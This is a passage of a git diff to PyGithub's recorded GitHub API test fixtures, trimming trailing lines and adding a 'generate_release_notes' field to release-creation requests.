Doe","date":"2008-07-08T21:13:30-07:00"},"sha":"526946197ae9da59c6507cacd13ad6f1cfb686ea","parents":[],"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/107139a922f33bab6fbeb9f9eb8787e7f19e0528","sha":"107139a922f33bab6fbeb9f9eb8787e7f19e0528"}} - diff --git a/tests/ReplayData/Repository.testCreateGitCommitWithParents.txt b/tests/ReplayData/Repository.testCreateGitCommitWithParents.txt index c2c4dde296..6faf5bd491 100644 --- a/tests/ReplayData/Repository.testCreateGitCommitWithParents.txt +++ b/tests/ReplayData/Repository.testCreateGitCommitWithParents.txt @@ -41,4 +41,3 @@ None 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4965'), ('content-length', '918'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1ada1e7861f74fa4fefa922bf03e891e"'), ('date', 'Fri, 01 Jun 2012 18:39:31 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/git/commits/6adf9ea25ff8a8f2a42bcb1c09e42526339037cd')] {"committer":{"email":"github.com@vincent-jacques.net","date":"2012-06-01T11:39:31-07:00","name":"Vincent Jacques"},"message":"Commit created by PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/6adf9ea25ff8a8f2a42bcb1c09e42526339037cd","sha":"6adf9ea25ff8a8f2a42bcb1c09e42526339037cd","parents":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/7248e66831d4ffe09ef1f30a1df59ec0a9331ece","sha":"7248e66831d4ffe09ef1f30a1df59ec0a9331ece"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/12d427464f8d91c8e981043a86ba8a2a9e7319ea","sha":"12d427464f8d91c8e981043a86ba8a2a9e7319ea"}],"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/fae707821159639589bf94f3fb0a7154ec5d441b","sha":"fae707821159639589bf94f3fb0a7154ec5d441b"},"author":{"email":"github.com@vincent-jacques.net","date":"2012-06-01T11:39:31-07:00","name":"Vincent Jacques"}} - diff --git a/tests/ReplayData/Repository.testCreateGitRef.txt b/tests/ReplayData/Repository.testCreateGitRef.txt index 77230efb53..d355d16c4d 100644 --- a/tests/ReplayData/Repository.testCreateGitRef.txt +++ b/tests/ReplayData/Repository.testCreateGitRef.txt @@ -8,4 +8,3 @@ None 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4987'), ('content-length', '322'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"0302e489fc6bd534afa44cdbec1227e7"'), ('date', 'Thu, 10 May 2012 18:49:19 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/git/refs/heads/BranchCreatedByPyGithub')] {"object":{"type":"commit","sha":"4303c5b90e2216d927155e9609436ccb8984c495","url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/4303c5b90e2216d927155e9609436ccb8984c495"},"ref":"refs/heads/BranchCreatedByPyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs/heads/BranchCreatedByPyGithub"} - diff --git a/tests/ReplayData/Repository.testCreateGitRelease.txt b/tests/ReplayData/Repository.testCreateGitRelease.txt index b1320b36cd..49a50eaf0d 100644 --- a/tests/ReplayData/Repository.testCreateGitRelease.txt +++ b/tests/ReplayData/Repository.testCreateGitRelease.txt @@ -4,8 +4,7 @@ api.github.com None /repos/jacquev6/PyGithub/releases {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} -{"body": "This release is created by PyGithub", "prerelease": false, "tag_name": "vX.Y.Z-by-PyGithub-acctest", "draft": false, "name": "vX.Y.Z: PyGithub acctest"} +{"body": "This release is created by PyGithub", "prerelease": false, "generate_release_notes": false, "tag_name": "vX.Y.Z-by-PyGithub-acctest", "draft": false, "name": "vX.Y.Z: PyGithub acctest"} 201 [('content-length', '1656'), ('x-runtime-rack', '0.601694'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('etag', '"64c4aea05900ae1072ee705caf9b529c"'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/releases/7636454'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '201 Created'), ('x-ratelimit-remaining', '4951'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '92E2:1D39A:50FE29C:5DF3D65:59AE9019'), ('date', 'Tue, 05 Sep 2017 11:52:58 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1504614271')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/releases/7636454","assets_url":"https://api.github.com/repos/jacquev6/PyGithub/releases/7636454/assets","upload_url":"https://uploads.github.com/repos/jacquev6/PyGithub/releases/7636454/assets{?name,label}","html_url":"https://github.com/jacquev6/PyGithub/releases/tag/vX.Y.Z-by-PyGithub-acctest","id":7636454,"tag_name":"vX.Y.Z-by-PyGithub-acctest","target_commitish":"master","name":"vX.Y.Z: PyGithub acctest","draft":false,"author":{"login":"jacquev6","id":3760893,"avatar_url":"https://avatars2.githubusercontent.com/u/3760893?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2016-10-29T02:39:27Z","published_at":"2017-09-05T11:52:58Z","assets":[],"tarball_url":"https://api.github.com/repos/jacquev6/PyGithub/tarball/vX.Y.Z-by-PyGithub-acctest","zipball_url":"https://api.github.com/repos/jacquev6/PyGithub/zipball/vX.Y.Z-by-PyGithub-acctest","body":"This release is created by PyGithub"} - diff --git a/tests/ReplayData/Repository.testCreateGitReleaseWithAllArguments.txt b/tests/ReplayData/Repository.testCreateGitReleaseWithAllArguments.txt index 6fd75ef586..7f17d9b20a 100644 --- a/tests/ReplayData/Repository.testCreateGitReleaseWithAllArguments.txt +++ b/tests/ReplayData/Repository.testCreateGitReleaseWithAllArguments.txt @@ -4,7 +4,7 @@ api.github.com None /repos/jacquev6/PyGithub/releases {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} -{"body": "This release is also created by PyGithub", "name": "vX.Y.Z: PyGithub acctest2", "target_commitish": "da9a285fd8b782461e56cba39ae8d2fa41ca7cdc", "tag_name": "vX.Y.Z-by-PyGithub-acctest2", "prerelease": true, "draft": false} +{"body": "This release is also created by PyGithub", "name": "vX.Y.Z: PyGithub acctest2", "target_commitish": "da9a285fd8b782461e56cba39ae8d2fa41ca7cdc", "tag_name": "vX.Y.Z-by-PyGithub-acctest2", "prerelease": true, "generate_release_notes": false, "draft": false} 201 [('content-length', '1699'), ('x-runtime-rack', '0.625656'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('etag', '"a640b19b9bc4596ddf16593f4d811ee0"'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/releases/7636488'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '201 Created'), ('x-ratelimit-remaining', '4945'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '958E:1D39A:510378D:5DF9FCA:59AE9091'), ('date', 'Tue, 05 Sep 2017 11:54:58 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1504614271')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/releases/7636488","assets_url":"https://api.github.com/repos/jacquev6/PyGithub/releases/7636488/assets","upload_url":"https://uploads.github.com/repos/jacquev6/PyGithub/releases/7636488/assets{?name,label}","html_url":"https://github.com/jacquev6/PyGithub/releases/tag/vX.Y.Z-by-PyGithub-acctest2","id":7636488,"tag_name":"vX.Y.Z-by-PyGithub-acctest2","target_commitish":"da9a285fd8b782461e56cba39ae8d2fa41ca7cdc","name":"vX.Y.Z: PyGithub acctest2","draft":false,"author":{"login":"jacquev6","id":3760893,"avatar_url":"https://avatars2.githubusercontent.com/u/3760893?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"prerelease":true,"created_at":"2017-09-05T11:35:41Z","published_at":"2017-09-05T11:54:58Z","assets":[],"tarball_url":"https://api.github.com/repos/jacquev6/PyGithub/tarball/vX.Y.Z-by-PyGithub-acctest2","zipball_url":"https://api.github.com/repos/jacquev6/PyGithub/zipball/vX.Y.Z-by-PyGithub-acctest2","body":"This release is also created by PyGithub"} @@ -30,4 +30,3 @@ null 200 [('content-length', '8154'), ('x-runtime-rack', '0.049311'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('etag', '"335bb6d8e6561088f4733fa74a8d0022"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4943'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '8F47:1D39A:5103938:5DFA1D9:59AE9093'), ('last-modified', 'Sun, 27 Nov 2016 13:31:42 GMT'), ('link', '; rel="first", ; rel="prev"'), ('date', 'Tue, 05 Sep 2017 11:55:00 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1504614271')] [{"name":"v1.12.2","zipball_url":"https://api.github.com/repos/jacquev6/PyGithub/zipball/v1.12.2","tarball_url":"https://api.github.com/repos/jacquev6/PyGithub/tarball/v1.12.2","commit":{"sha":"03a256a4052cacea998d8205a83d5b5465f31e18","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/03a256a4052cacea998d8205a83d5b5465f31e18"}},{"name":"v1.12.1","zipball_url":"https://api.github.com/repos/jacquev6/PyGithub/zipball/v1.12.1","tarball_url":"https://api.github.com/repos/jacquev6/PyGithub/tarball/v1.12.1","commit":{"sha":"67bdf8c0be32dc195a4545bf90100a1b55eebf45","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/67bdf8c0be32dc195a4545bf90100a1b55eebf45"}},{"name":"v1.12.0","zipball_url":"https://api.github.com/repos/jacquev6/PyGithub/zipball/v1.12.0","tarball_url":"https://api.github.com/repos/jacquev6/PyGithub/tarball/v1.12.0","commit":{"sha":"c8553031178cbf221d95af1ecc7ffd4707ac5cc9","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/c8553031178cbf221d95af1ecc7ffd4707ac5cc9"}},{"name":"v1.11.1","zipball_url":"https://api.github.com/repos/jacquev6/PyGithub/zipball/v1.11.1","tarball_url":"https://api.github.com/repos/jacquev6/PyGithub/tarball/v1.11.1","commit":{"sha":"392a422ec2b9b97f7b1ad41e04cc62ef67ad0e7f","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/392a422ec2b9b97f7b1ad41e04cc62ef67ad0e7f"}},{"name":"v1.11.0","zipball_url":"https://api.github.com/repos/jacquev6/PyGithub/zipball/v1.11.0","tarball_url":"https://api.github.com/repos/jacquev6/PyGithub/tarball/v1.11.0","commit":{"sha":"6b32e1cdf588d8c3c651d355ffc3451dd34284b9","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/6b32e1cdf588d8c3c651d355ffc3451dd34284b9"}},{"name":"v1.10.0","zipball_url":"https://api.github.com/repos/jacquev6/PyGithub/zipball/v1.10.0","tarball_url":"https://api.github.com/repos/jacquev6/PyGithub/tarball/v1.10.0","commit":{"sha":"4400a24872e52ee488067a7d0d8522ca3764b4e5","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/4400a24872e52ee488067a7d0d8522ca3764b4e5"}},{"name":"v1.9.1","zipball_url":"https://api.github.com/repos/jacquev6/PyGithub/zipball/v1.9.1","tarball_url":"https://api.github.com/repos/jacquev6/PyGithub/tarball/v1.9.1","commit":{"sha":"a922319db0037babe9919a83b8b69efebcf942ea","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/a922319db0037babe9919a83b8b69efebcf942ea"}},{"name":"v1.9.0","zipball_url":"https://api.github.com/repos/jacquev6/PyGithub/zipball/v1.9.0","tarball_url":"https://api.github.com/repos/jacquev6/PyGithub/tarball/v1.9.0","commit":{"sha":"808fe92191d287bbad6131c5a8be78b4ded745fd","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/808fe92191d287bbad6131c5a8be78b4ded745fd"}},{"name":"v1.8.1","zipball_url":"https://api.github.com/repos/jacquev6/PyGithub/zipball/v1.8.1","tarball_url":"https://api.github.com/repos/jacquev6/PyGithub/tarball/v1.8.1","commit":{"sha":"e3d76fc3ec3dd4f4c3b3a440ff9e771f06d63a39","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/e3d76fc3ec3dd4f4c3b3a440ff9e771f06d63a39"}},{"name":"v1.8.0","zipball_url":"https://api.github.com/repos/jacquev6/PyGithub/zipball/v1.8.0","tarball_url":"https://api.github.com/repos/jacquev6/PyGithub/tarball/v1.8.0","commit":{"sha":"31110327ec45f3138e58ed247b2cf420fee481ec","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/31110327ec45f3138e58ed247b2cf420fee481ec"}},{"name":"v1.7","zipball_url":"https://api.github.com/repos/jacquev6/PyGithub/zipball/v1.7","tarball_url":"https://api.github.com/repos/jacquev6/PyGithub/tarball/v1.7","commit":{"sha":"df3290644ad7846d4ca93ba94af943ae1431ee1c","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/df3290644ad7846d4ca93ba94af943ae1431ee1c"}},{"name":"v1.6","zipball_url":"https://api.github.com/repos/jacquev6/PyGithub/zipball/v1.6","tarball_url":"https://api.github.com/repos/jacquev6/PyGithub/tarball/v1.6","commit":{"sha":"cabc55dc3b858b7e02076e2c1041f242f05b9f1c","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/cabc55dc3b858b7e02076e2c1041f242f05b9f1c"}},{"name":"v1.5","zipball_url":"https://api.github.com/repos/jacquev6/PyGithub/zipball/v1.5","tarball_url":"https://api.github.com/repos/jacquev6/PyGithub/tarball/v1.5","commit":{"sha":"ece857f70e19b69ebeda244da71f892c8b05f53a","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ece857f70e19b69ebeda244da71f892c8b05f53a"}},{"name":"v1.4","zipball_url":"https://api.github.com/repos/jacquev6/PyGithub/zipball/v1.4","tarball_url":"https://api.github.com/repos/jacquev6/PyGithub/tarball/v1.4","commit":{"sha":"bf1e3b588b2a91afcabb64d5d28476bdbf074912","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/bf1e3b588b2a91afcabb64d5d28476bdbf074912"}},{"name":"v1.3","zipball_url":"https://api.github.com/repos/jacquev6/PyGithub/zipball/v1.3","tarball_url":"https://api.github.com/repos/jacquev6/PyGithub/tarball/v1.3","commit":{"sha":"e6c64ab31ea88229f0c81ae9f83496db34452db7","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/e6c64ab31ea88229f0c81ae9f83496db34452db7"}},{"name":"v1.2","zipball_url":"https://api.github.com/repos/jacquev6/PyGithub/zipball/v1.2","tarball_url":"https://api.github.com/repos/jacquev6/PyGithub/tarball/v1.2","commit":{"sha":"d40bec470e30bac4175d62a880b42757939553c9","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/d40bec470e30bac4175d62a880b42757939553c9"}},{"name":"v1.1","zipball_url":"https://api.github.com/repos/jacquev6/PyGithub/zipball/v1.1","tarball_url":"https://api.github.com/repos/jacquev6/PyGithub/tarball/v1.1","commit":{"sha":"6658713d2790d1d47886ed9cee84ba645f160877","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/6658713d2790d1d47886ed9cee84ba645f160877"}},{"name":"v1.0","zipball_url":"https://api.github.com/repos/jacquev6/PyGithub/zipball/v1.0","tarball_url":"https://api.github.com/repos/jacquev6/PyGithub/tarball/v1.0","commit":{"sha":"0855be0a4db8537b313b370b2a4642b7971a8296","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/0855be0a4db8537b313b370b2a4642b7971a8296"}},{"name":"v0.7","zipball_url":"https://api.github.com/repos/jacquev6/PyGithub/zipball/v0.7","tarball_url":"https://api.github.com/repos/jacquev6/PyGithub/tarball/v0.7","commit":{"sha":"ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7"}},{"name":"v0.6","zipball_url":"https://api.github.com/repos/jacquev6/PyGithub/zipball/v0.6","tarball_url":"https://api.github.com/repos/jacquev6/PyGithub/tarball/v0.6","commit":{"sha":"4303c5b90e2216d927155e9609436ccb8984c495","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/4303c5b90e2216d927155e9609436ccb8984c495"}},{"name":"v0.5","zipball_url":"https://api.github.com/repos/jacquev6/PyGithub/zipball/v0.5","tarball_url":"https://api.github.com/repos/jacquev6/PyGithub/tarball/v0.5","commit":{"sha":"936f4a97f1a86392637ec002bbf89ff036a5062d","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/936f4a97f1a86392637ec002bbf89ff036a5062d"}},{"name":"v0.4","zipball_url":"https://api.github.com/repos/jacquev6/PyGithub/zipball/v0.4","tarball_url":"https://api.github.com/repos/jacquev6/PyGithub/tarball/v0.4","commit":{"sha":"a3be28756101370fbc689eec3a7825c4c385a6c9","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/a3be28756101370fbc689eec3a7825c4c385a6c9"}},{"name":"v0.3","zipball_url":"https://api.github.com/repos/jacquev6/PyGithub/zipball/v0.3","tarball_url":"https://api.github.com/repos/jacquev6/PyGithub/tarball/v0.3","commit":{"sha":"636e6112deb72277b3bffcc3303cd7e8a7431a5d","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/636e6112deb72277b3bffcc3303cd7e8a7431a5d"}},{"name":"v0.2","zipball_url":"https://api.github.com/repos/jacquev6/PyGithub/zipball/v0.2","tarball_url":"https://api.github.com/repos/jacquev6/PyGithub/tarball/v0.2","commit":{"sha":"9f0b05161f9d1962b9156e6c91fc04f382028240","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/9f0b05161f9d1962b9156e6c91fc04f382028240"}},{"name":"v0.1","zipball_url":"https://api.github.com/repos/jacquev6/PyGithub/zipball/v0.1","tarball_url":"https://api.github.com/repos/jacquev6/PyGithub/tarball/v0.1","commit":{"sha":"dbdcda3591980de42617814f792969126e6402c3","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/dbdcda3591980de42617814f792969126e6402c3"}}] - diff --git a/tests/ReplayData/Repository.testCreateGitTag.txt b/tests/ReplayData/Repository.testCreateGitTag.txt index ba5aa28aa1..e9b6c38830 100644 --- a/tests/ReplayData/Repository.testCreateGitTag.txt +++ b/tests/ReplayData/Repository.testCreateGitTag.txt @@ -8,4 +8,3 @@ None 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4925'), ('content-length', '512'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"9a9c1f293329ee4c63e8cfb08772e3a1"'), ('date', 'Sun, 27 May 2012 05:56:08 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/git/tags/5ba561eaa2b7ca9015662510157b15d8f3b0232a')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags/5ba561eaa2b7ca9015662510157b15d8f3b0232a","message":"Tag created by PyGithub","tag":"TaggedByPyGithub","object":{"type":"commit","url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/0b820628236ab8bab3890860fc414fa757ca15f4","sha":"0b820628236ab8bab3890860fc414fa757ca15f4"},"tagger":{"email":"github.com@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-26T22:56:07-07:00"},"sha":"5ba561eaa2b7ca9015662510157b15d8f3b0232a"} - diff --git a/tests/ReplayData/Repository.testCreateGitTagWithAllArguments.txt b/tests/ReplayData/Repository.testCreateGitTagWithAllArguments.txt index b302eace82..c477601c5f 100644 --- a/tests/ReplayData/Repository.testCreateGitTagWithAllArguments.txt +++ b/tests/ReplayData/Repository.testCreateGitTagWithAllArguments.txt @@ -8,4 +8,3 @@ None 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4922'), ('content-length', '506'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"a7e5d9e4342e323fa513f880968b80f4"'), ('date', 'Sun, 27 May 2012 05:57:03 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/git/tags/f0e99a8335fbc84c53366c4a681118468f266625')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags/f0e99a8335fbc84c53366c4a681118468f266625","message":"Tag also created by PyGithub","tag":"TaggedByPyGithub2","object":{"type":"commit","url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/526946197ae9da59c6507cacd13ad6f1cfb686ea","sha":"526946197ae9da59c6507cacd13ad6f1cfb686ea"},"tagger":{"email":"j.doe@vincent-jacques.net","name":"John Doe","date":"2008-07-08T21:13:30-07:00"},"sha":"f0e99a8335fbc84c53366c4a681118468f266625"} - diff --git a/tests/ReplayData/Repository.testCreateGitTree.txt b/tests/ReplayData/Repository.testCreateGitTree.txt index abcb98d6f5..913a953541 100644 --- a/tests/ReplayData/Repository.testCreateGitTree.txt +++ b/tests/ReplayData/Repository.testCreateGitTree.txt @@ -8,4 +8,3 @@ None 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4937'), ('content-length', '382'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"0446b5f676814b5801ab6744ef9b59f7"'), ('date', 'Sun, 27 May 2012 05:48:14 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/git/trees/41cf8c178c636a018d537cb20daae09391efd70b')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/41cf8c178c636a018d537cb20daae09391efd70b","sha":"41cf8c178c636a018d537cb20daae09391efd70b","tree":[{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/73a1c7f17aa0ad5d7cbb5a8ca033ce47d3d23197","size":24,"path":"Foobar.txt","sha":"73a1c7f17aa0ad5d7cbb5a8ca033ce47d3d23197","mode":"100644"}]} - diff --git a/tests/ReplayData/Repository.testCreateGitTreeWithBaseTree.txt b/tests/ReplayData/Repository.testCreateGitTreeWithBaseTree.txt index 821c71e07a..977f345f66 100644 --- a/tests/ReplayData/Repository.testCreateGitTreeWithBaseTree.txt +++ b/tests/ReplayData/Repository.testCreateGitTreeWithBaseTree.txt @@ -19,4 +19,3 @@ None 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4934'), ('content-length', '599'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"f04d90b327eaf7b7600bc22fd11a41a4"'), ('date', 'Sun, 27 May 2012 05:49:48 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/git/trees/107139a922f33bab6fbeb9f9eb8787e7f19e0528')] {"tree":[{"type":"blob","sha":"92be1df4e473d2541c5c166ad145a39d0324de8b","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/92be1df4e473d2541c5c166ad145a39d0324de8b","size":29,"path":"Barbaz.txt","mode":"100644"},{"type":"blob","sha":"73a1c7f17aa0ad5d7cbb5a8ca033ce47d3d23197","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/73a1c7f17aa0ad5d7cbb5a8ca033ce47d3d23197","size":24,"path":"Foobar.txt","mode":"100644"}],"sha":"107139a922f33bab6fbeb9f9eb8787e7f19e0528","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/107139a922f33bab6fbeb9f9eb8787e7f19e0528"} - diff --git a/tests/ReplayData/Repository.testCreateGitTreeWithSha.txt b/tests/ReplayData/Repository.testCreateGitTreeWithSha.txt index 6daa3a5d76..d999349aee 100644 --- a/tests/ReplayData/Repository.testCreateGitTreeWithSha.txt +++ b/tests/ReplayData/Repository.testCreateGitTreeWithSha.txt @@ -8,4 +8,3 @@ None 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4997'), ('content-length', '381'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"f33782d7031ff19c5301bb52068533cf"'), ('date', 'Fri, 01 Jun 2012 17:51:04 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/git/trees/fae707821159639589bf94f3fb0a7154ec5d441b')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/fae707821159639589bf94f3fb0a7154ec5d441b","sha":"fae707821159639589bf94f3fb0a7154ec5d441b","tree":[{"type":"blob","url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/5dd930f591cd5188e9ea7200e308ad355182a1d8","sha":"5dd930f591cd5188e9ea7200e308ad355182a1d8","size":0,"path":"Barbaz.txt","mode":"100644"}]} - diff --git a/tests/ReplayData/Repository.testCreateHookWithAllParameters.txt b/tests/ReplayData/Repository.testCreateHookWithAllParameters.txt index 852b68c028..ed588f583b 100644 --- a/tests/ReplayData/Repository.testCreateHookWithAllParameters.txt +++ b/tests/ReplayData/Repository.testCreateHookWithAllParameters.txt @@ -8,4 +8,3 @@ None 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4997'), ('content-length', '298'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"c3b371e4de1a0ec350b3fcc0c458e0f9"'), ('date', 'Sat, 19 May 2012 06:01:45 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/hooks/257993')] {"updated_at":"2012-05-19T06:01:45Z","last_response":{"status":"unused","message":null,"code":null},"events":["fork"],"url":"https://api.github.com/repos/jacquev6/PyGithub/hooks/257993","active":true,"name":"web","config":{"url":"http://foobar.com"},"id":257993,"created_at":"2012-05-19T06:01:45Z"} - diff --git a/tests/ReplayData/Repository.testCreateHookWithMinimalParameters.txt b/tests/ReplayData/Repository.testCreateHookWithMinimalParameters.txt index 0da240f8c8..4ed5c51e15 100644 --- a/tests/ReplayData/Repository.testCreateHookWithMinimalParameters.txt +++ b/tests/ReplayData/Repository.testCreateHookWithMinimalParameters.txt @@ -8,4 +8,3 @@ None 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4994'), ('content-length', '298'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"276d18854081948260c44cf645c54bd0"'), ('date', 'Sat, 19 May 2012 05:03:14 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/hooks/257967')] {"updated_at":"2012-05-19T05:03:14Z","url":"https://api.github.com/repos/jacquev6/PyGithub/hooks/257967","config":{"url":"http://foobar.com"},"last_response":{"status":"unused","message":null,"code":null},"active":true,"events":["push"],"name":"web","created_at":"2012-05-19T05:03:14Z","id":257967} - diff --git 